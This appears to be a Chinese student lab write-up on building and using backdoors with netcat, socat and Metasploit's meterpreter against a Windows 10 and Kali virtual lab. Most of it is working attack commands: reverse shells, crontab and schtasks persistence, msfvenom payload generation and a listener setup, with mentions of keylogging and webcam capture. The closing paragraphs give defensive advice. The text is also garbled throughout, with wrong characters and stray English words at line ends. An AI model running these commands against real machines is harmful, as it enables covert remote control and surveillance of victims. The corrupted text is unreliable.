后门就是不通过正常认证流程而访问系统的通道。后门的实现就像是有个间谍可以在咱们须要访问系统时为咱们开门,咱们每每但愿后门有隐蔽性和自发性(能本身打开提供通道)。html
下面经过实际操做介绍几个经常使用后门工具。linux
环境:win十、VMware、kaliweb
netcat最基本的功能是帮助咱们创建网络链接(如图1),在此基础上还能够与一些程序绑定以实现远程控制的效果。shell
图1windows
先从最简单开始,把系统防火墙和杀软关闭,而且后门手动下载到靶机上。在这样的条件下实现如何利用netcat让windows主机得到kali虚拟机的shell。安全
一般利用netcat实现后门有如下3个步骤:bash
1.主机打开监听网络
-> ncat.exe -l -p 端口号
2.靶机反弹链接winsession
$: nc 主机ip 监听端口号 -e /bin/sh
3.主机下得到一个linux shell,可运行任何指令,如lstcp
显然这里windows是主机,kali虚拟机是靶机。从上面步骤能够看出,咱们须要端口号和主机ip,端口号能够随便取,在实际中每每取80(网页端口)等端口以躲避防火墙的拦截,主机ip如果在局域网中的独立机器直接用ipconfig里的ip v4地址便可,但对虚拟机来讲须要先确认使用的是哪一种虚拟网络,ipconfig也会看见多了几个以太网地址(见图2),就是对应不一样的VMware虚拟网络的。若是是桥接能够直接使用实际局域网中的地址,其余两种能够在VMware/编辑/虚拟网络编辑中看到ip段(见图3),进而能够肯定下来。具体有关VMware几种网络链接方式参见https://www.linuxidc.com/Linux/2016-09/135521.htm。
图2
图3
本身在nat模式下试着ping了三个地址,发现所有能通,可是用ncat时却只有nat对应的以太网地址才能够连通,不是很清楚缘由,若是有大神知道的但愿可以指点。
肯定下ip以后咱们按照netcat的用法在命令行输入输入,当咱们能够在win10 cmd下输入时说明链接成功了,见图4,已经成功获取了shell。
图4
第一次尝试成功了,咱们确定但愿能长久地使用后门,那就设置让他自启。学过linux的确定能想到利用crontab来实现自启,可是利用常规的crontab -e来编辑会直接打开vi等编辑器来操做,而这对在远程操做的咱们来讲结果是向图5这样的。
图5
能够理解,由于咱们打开的是shell,其余程序不必定向shell那么规矩的返回结果给咱们的netcat,因此想办法绕开用文本编辑器来修改crontab。因而想到了重定向>和echo来构造一个cron文件,而后利用“crontab 文件名”来启用咱们的设置。
touch guocron echo "* * * * * nc 192.168.201.1 1213 -e /bin/sh" > guocron crontab guocron
结果如图6,能够看到已经成功设置每分钟执行一次链接操做,意味着只要开机后基本就本身连上咱们的主机了。
图6
socat是一个功能强大的工具,在这里咱们能够把它当作强化版的nc。这里利用它实现kali虚拟机获取win10 cmd的控制。
1.链接目标
socat - tcp:192.168.201.1:80
这个命令等同于 nc 192.168.201.1 80。 socat里面,必须有两个流,因此第一个参数-表明标准的输入输出,第二个流链接到192.168.201.1的80端口。
2.反向链接
socat tcp-listen:80 exec:cmd,pty,stderr
这个命名把cmd绑定到端口80,同时把cmd的Stderr复位向到stdout。
有了这两个基本操做就能够作后门了,先win10绑定cmd打开监听,而后在kali虚拟机中链接,结果如图7所示。
图7
windows cmd设置计划任务能够利用schtasks命令设置,schtasks /create /sc minute /mo 1 /tn testtask /tr "cmd /c socat.exe tcp-listen:1213 exec:cmd.exe,pty,stderr"设置每一分钟运行一次socat监听的命令。更多细节详见https://www.cnblogs.com/magic_evan/archive/2011/10/31/2230349.html。
只说本身经过此次实践对Meterpreter的感觉,这工具太强大了,一旦连上后面,有各类各样现场的工具给你来支配靶机,一句代码就能够录你键盘,获取你屏幕。从后门的生成到控制端一条龙。
大体流程是先利用meterpreter生成后门程序,进入msfconsole开启监听,想办法在靶机上运行咱们的后门,msfconsole与靶机创建链接,为所欲为的对靶机进行控制。
接下来实践用meterpreter对win10进行渗透。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f exe > meter_backdoor.exe
-p后接payload表示选择payload整合到exe上,LHOST和LPORT是监听的ip和端口号,也就是咱们本身的机器,-f,format输出格式,而后重定向到文件。
图8
而后经过netcat传输到win10电脑上,kali上输入
ncat -l 1213 < 20151213_backdoor.exe
win10上输入
nc 192.168.201.136 1213 > 20151213_backdoor.exe
而后win10系统上会收到这个exe文件,等kali监听后再打开。
shell下输入msfconsole就能够打开msf命令行,加载结束后输入
msf > use exploit/multi/handler msf > set LHOST 本机ip msf > set LPORT 监听端口 msf > show oprions #查看配置
msf > exploit #开始监听
exploit开始后切到win10运行以前发送过去的exe,能够在msfconsole看见有session创建了(如图9),以后就能够开始咱们想作的事了。
图9(成功创建会话链接)
图10(进程转移)
用grep过滤ps -a出来的进程,找到explorer这种稳定进程转移过去。
图11(判断是否为虚拟机)
不知为什么有时运行这些脚本时会出错,没能找到缘由,但愿能有大牛指教。
最后上传一张利用webcam_snap
拍取的照片。
图12
第一次作这方面的东西,过程可谓十分艰辛,由于总有意想不到的错误出现。可是当成功创建session的那一刻感受全部付出都是值得的。
同时也深感网络环境的不安全,如果一台没有杀软,用盗版系统的机子随随便便都会让人给入侵了,不事后门究竟是须要有个间谍也就是那个exe来开启,因此不乱下东西,不乱点程序是能够极大下降本身被人入侵的几率。
做为入侵者就是想各类办法骗取别人点击本身的文件了,经过包装把本身的exe放在钓鱼网站上等着人下载运行(多数),或者是利用某些系统漏洞强行渗透(较少)。一旦第一次被入侵,这些程序每每就以计划任务或者服务等方式自启动。
也是利用这点,咱们能够在开机启动项和服务里面找一些比较不正常的程序,经过审计观察它是否有后门的嫌疑。